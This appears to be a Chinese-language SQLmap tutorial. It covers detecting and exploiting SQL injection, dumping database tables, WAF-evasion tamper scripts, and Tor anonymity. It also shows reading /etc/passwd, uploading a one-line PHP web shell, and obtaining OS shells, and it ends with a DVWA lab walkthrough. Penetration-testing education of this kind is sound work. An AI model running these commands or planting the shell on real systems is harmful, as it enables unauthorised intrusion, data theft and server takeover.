SQLmap User Manual

SQLmap User Manual

SQLmap 操作手册

Author: Asterism && Deepseek Date: 2026.3.19

Lastest edited on 2026.3.19


目录


1. 简介与安装

SQLmap 是一款开源的自动化 SQL 注入检测与利用工具,支持多种数据库(MySQL, Oracle, PostgreSQL, MSSQL 等)和多种注入技术。

安装方式

  • Kali Linux(预装):直接运行 sqlmap --version
  • pip 安装pip install sqlmap
  • GitHub 最新版
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    cd sqlmap-dev
    python sqlmap.py
    

验证安装

sqlmap -h   # 查看帮助

2. 基础用法:GET 型注入

适用于 URL 中包含参数的场景,如 http://example.com/page?id=1

2.1 检测注入点

sqlmap -u "http://example.com/page?id=1" [--cookie="..."]
  • -u:指定目标 URL(带参数)。
  • --cookie:若需要登录,可从浏览器复制 Cookie。

SQLmap 会自动检测参数是否存在注入,并列出检测到的注入类型。

2.2 获取数据库信息

# 列出所有数据库
sqlmap -u "http://example.com/page?id=1" --dbs

# 指定数据库,列出表
sqlmap -u "http://example.com/page?id=1" -D 数据库名 --tables

# 指定表,列出字段
sqlmap -u "http://example.com/page?id=1" -D 数据库名 -T 表名 --columns

# 导出指定字段数据
sqlmap -u "http://example.com/page?id=1" -D 数据库名 -T 表名 -C 字段1,字段2 --dump

2.3 常用选项速查

选项说明
--batch默认自动选择,无需交互
-p 参数名指定要测试的参数(默认测试所有)
--threads=10并发线程数(加快数据获取)
--level--risk调整检测深度与风险(见第4节)

3. 处理 POST 型注入

当参数通过 POST 方法提交(如表单),可用以下两种方式。

3.1 使用 --data 参数

直接指定 POST 数据:

sqlmap -u "http://example.com/login" --data="username=admin&password=123&submit=1"

3.2 使用请求文件 -r

将完整的 HTTP 请求(包括头、Cookie、POST 数据)保存为文件,例如 post.req

POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

username=admin&password=123

然后运行:

sqlmap -r post.req

4. 高级选项与优化

4.1 调整检测深度 (--level--risk)

  • --level (1-5):值越大,测试的 HTTP 头部(如 Cookie、User-Agent)越多,Payload 更全面。
    默认 1(仅测试参数);level=2 测试 Cookie;level=3 测试 User-Agent/Referer。
  • --risk (1-3):值越大,使用更高风险的 Payload(可能造成数据修改或拒绝服务)。默认 1。

示例:全面扫描(level=3, risk=2)

sqlmap -u "http://example.com/page?id=1" --level=3 --risk=2

4.2 指定注入技术 (--technique)

默认 SQLmap 会尝试所有技术,可通过缩写指定:

  • B:Boolean-based blind(布尔盲注)
  • E:Error-based(报错注入)
  • U:Union query(联合查询)
  • S:Stacked queries(堆叠查询)
  • T:Time-based blind(时间盲注)
  • Q:Inline queries(内联查询)

示例:仅使用联合查询和报错注入

sqlmap -u "http://example.com/page?id=1" --technique=UE

4.3 指定数据库类型 (--dbms)

若已知后端数据库,可指定以加速检测:

sqlmap -u "http://example.com/page?id=1" --dbms=mysql

4.4 多线程与延时控制

  • --threads=10:并发线程(适用于非时间盲注场景)。
  • --delay=2:每个请求间隔 2 秒(避免触发防护)。
  • --timeout=30:请求超时时间。
  • --retries=3:失败重试次数。

4.5 预测输出与缓存

  • --predict-output:在布尔盲注中预测结果,减少请求数(需配合 --no-cast--hex)。
  • --no-cast:关闭类型转换(有时提高盲注效率)。
  • --hex:使用十六进制传输数据(用于绕过编码过滤)。
  • -s session.sqlite:将会话保存到文件,后续可恢复进度。

5. 绕过 WAF – Tamper 脚本

Tamper 脚本用于对 Payload 进行混淆,绕过输入过滤或 WAF。

5.1 常用 Tamper 脚本

脚本名作用
space2comment用注释 /**/ 替换空格
betweenBETWEEN 替换比较符
apostrophemask用 UTF-8 全角引号替换单引号
charencodeURL 编码所有字符
base64encodeBase64 编码 Payload
unionalltounionUNION ALL SELECT 转为 UNION SELECT

5.2 组合使用 Tamper

sqlmap -u "http://example.com/page?id=1" --tamper="space2comment,between,charencode"

5.3 自定义 Tamper 脚本

可编写 Python 脚本放入 tamper/ 目录。示例(URL 编码所有字符):

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = ''.join('%%%x' % ord(c) for c in payload)
    return payload

查看所有内置 Tamper:sqlmap --list-tampers


6. 高级利用功能

需要数据库用户具备高权限(如 MySQL 的 FILE 权限或 MSSQL 的 xp_cmdshell)。

6.1 文件系统读写 (--file-read / --file-write)

  • 读取文件

    sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
    

    文件保存至本地 ~/.sqlmap/output/目标主机/files/

  • 写入文件

    # 准备本地文件
    echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
    # 上传到服务器
    sqlmap -u "http://example.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"
    

6.2 获取系统 Shell (--os-shell)

尝试获取交互式操作系统命令行:

sqlmap -u "http://example.com/page?id=1" --os-shell

SQLmap 会自动上传 webshell 或利用数据库功能,成功后出现 os-shell> 提示符。

6.3 执行单条系统命令 (--os-cmd)

sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"

6.4 获取 SQL Shell (--sql-shell)

进入交互式 SQL 命令行,可执行任意 SQL 语句:

sqlmap -u "http://example.com/page?id=1" --sql-shell

7. 处理复杂环境

7.1 HTTP 认证

  • Basic/Digest/NTLM 认证:
    sqlmap -u "http://example.com/page?id=1" --auth-type=BASIC --auth-cred="username:password"
    

7.2 使用代理

  • 通过 Burp Suite 调试:
    sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
    
  • 使用 Tor 匿名:
    sqlmap -u "http://example.com/page?id=1" --tor --tor-type=SOCKS5 --check-tor
    

7.3 爬取网站 (--crawl)

从起始 URL 爬取页面并自动测试所有找到的输入点:

sqlmap -u "http://example.com" --crawl=3

3 为爬取深度。


8. 其他实用功能

8.1 检测与识别 WAF

  • 检测是否存在 WAF:--check-waf
  • 识别具体 WAF 产品:--identify-waf

8.2 输出格式控制

  • --dump-format=CSV|HTML|SQLITE:指定导出数据的格式。

8.3 会话保存与恢复

  • -s session.sqlite:将会话保存至文件,后续使用 -s 恢复进度。
  • --flush-session:清空会话缓存,重新测试。

9. 案例演练(以 DVWA 为例)

环境准备

  • DVWA 安装并设置安全级别为 low。
  • 数据库用户为 root(便于高级利用),Web 目录可写。

步骤 1:检测注入点(GET)

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"

步骤 2:获取数据库信息

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --cookie="..." --dbs
sqlmap -u "..." -D dvwa --tables
sqlmap -u "..." -D dvwa -T users --columns
sqlmap -u "..." -D dvwa -T users -C user,password --dump

步骤 3:尝试文件读取

sqlmap -u "..." --file-read="/etc/passwd"

步骤 4:获取系统 Shell

sqlmap -u "..." --os-shell

根据提示选择语言(如 PHP),指定 Web 路径(如 /var/www/html/),成功后执行系统命令。


注意事项